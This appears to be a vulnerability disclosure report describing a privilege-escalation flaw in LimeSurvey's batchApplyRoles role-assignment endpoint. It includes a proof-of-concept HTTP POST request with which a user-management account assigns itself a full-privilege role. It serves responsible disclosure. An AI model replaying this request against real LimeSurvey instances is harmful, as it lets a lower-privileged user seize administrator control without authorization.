Improper Authorization in add role function leads to privilege escalation in limesurvey/limesurvey
Reported on
Jun 28th 2023
Description
The application improperly performs user authorization, resulting in a user with the user management role being able to modify their own permissions or those of others.
Proof of Concept
Step1: The highest-level administrator or an administrator with the permission to create roles creates a role named 'super admin' with full privileges. Assuming the newly created role has an ID of 164.
Step2: The attacker, with user management privileges, sends request POST /index.php?r=userManagement/batchApplyRoles with the sItems parameter as the user_id of the attacker itself and the roleselector parameter as the ID of the 'super admin' role. The user's permissions have now been changed.
Request:
POST /index.php?r=userManagement/batchApplyRoles HTTP/2
Host: demo.limesurvey.org
Cookie: PHPSESSID=1i9laa7dd5it7dek1ck7dspjh9; YII_CSRF_TOKEN=hacker
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 143
Origin: https://demo.limesurvey.org
Dnt: 1
Referer: https://demo.limesurvey.org/index.php?r=userManagement/index
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
sItems=%5b%2218932%22%5d&aAttributesToUpdate=%5B%5D&grididvalue=usermanagement--identity-gridPanel&roleselector%5B%5D=164&YII_CSRF_TOKEN=hacker
Impact
The user with the user management role can change the role of anyone, including themselves.